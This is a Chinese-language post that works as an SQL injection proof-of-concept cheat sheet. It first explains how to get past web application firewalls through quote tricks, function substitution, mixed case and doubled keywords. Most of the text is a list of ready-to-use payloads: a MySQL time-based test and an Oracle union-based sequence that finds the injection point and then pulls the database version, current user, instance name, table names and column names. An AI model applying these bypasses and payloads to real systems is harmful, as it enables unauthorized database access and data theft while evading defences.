SQL注入 POC
前言
随着网络安全攻防的不断展开,攻击与防御技术都在不断的进步升级。其中,像云waf、防火墙等安全设备的防护规则也在不断的完善。但是如果系统依然存在漏洞,单靠 waf 的防御也是很难抵抗住攻击的,比如我们时常听说的绕过,bypass。就是专门针对防御设备而精心设计的攻击指令,从而绕过 waf 对系统进行漏洞利用。下面我想从几个方面为大家解析绕过 waf 的原理并给出 poc。
开始
waf 的防御机制 - 语义解析
我们都知道 waf 的工作原理有多种,常见的三种方式是 正则匹配、语义解析、行为匹配。那么语义解析是什么意思呢?就是当 waf 识别到我们构造的代码能够被系统或数据库执行解析时则会触发告警拦截。比如下面的代码
and 1
waf 识别到该语句 and 1 符合数据库的查询语法则会进行拦截,那我们此时的绕过可以利用单引号
'or "'" = ""
使用这个语法时,waf 将单引号闭合内的内容识别为字符串,认为语句不能正常解析从而绕过 waf 的防御
waf 的防御机制 - 正则匹配
waf 有时候工作以匹配的正则规则库执行,当匹配到数据包或参数中提交了某个敏感的关键词则会进行封堵拦截。比如出现下面的代码则进行拦截
and '1'='1'
我们可以从 mysql 的官方函数文档找一个函数
FIELD(if(1=1,1,3)1,3)
当 if(1=1) 时返回 1,然后 1 与 FIELD 的 1 匹配,则结果返回 1/真,查询的时候即会返回所有结果
除了上面的函数还有以下一些函数可以作为替代
mid -> substr
exp(999)
Rlike -> like -> =
(这里后续再另外更新)
如果 waf 的机制对大小敏感,那么我们还可以进行 大小写绕过,比如 waf 拦截如下语句
select 1
那么可以尝试提交来绕过 waf
SeLeCT%201
ununionion selselectect #双写绕过 waf 的过滤
日常常用到的POC
MySQL
poc:
'||case+when+1=1+then+1+else+exp(20)+end||' #这个语句可以用来判断延时注入
Oracle
poc:
联合查询
确定注入点
?id=1%20and%201=1
?id=1%20and%201=2 #观察查询结果,判断是否存在注入
同 mysql 一样,如果是有回显的,先用 order by 判断字段数
?id=1%20order%20by%202
然后判断回显位置
?id=-1 union select 1,2 from dual
查询数据库版本信息
?id=-1 union select 'null',(select banner from sys.v_$version where rownum=1) from dual
查询当前链接用户
?id=-1 union select 'null',(select sys_context('userenv','current_user') from dual) from dual
?id=-1 union select '1',user from dual
查询数据库名
?id=-1 union select 'null',(select instance_name from V$INSTANCE) from dual
查数据库表名(一般为 admin 或 user)
?id=-1 union select 'null',(select table_name from user_tables where rownum=1) from dual
查其他表名
?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual
模糊搜索表名
?id=-1 union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual
查询列名
?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual
?id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME') from dual
?id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME') from dual
?id=-1 union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME' and column_name not in 'PROTOCOL' and column_name not in 'SPARE1' and column_name not in 'DB_USERNAME' and column_name not in 'OID' and column_name <> 'EVENTID' and column_name <> 'NAME' and column_name <> 'TABLE_OBJNO') from dual
模糊搜索列名
?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name like '%USER%') from dual
?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name like '%USER%' and column_name <> 'USER_NAME') from dual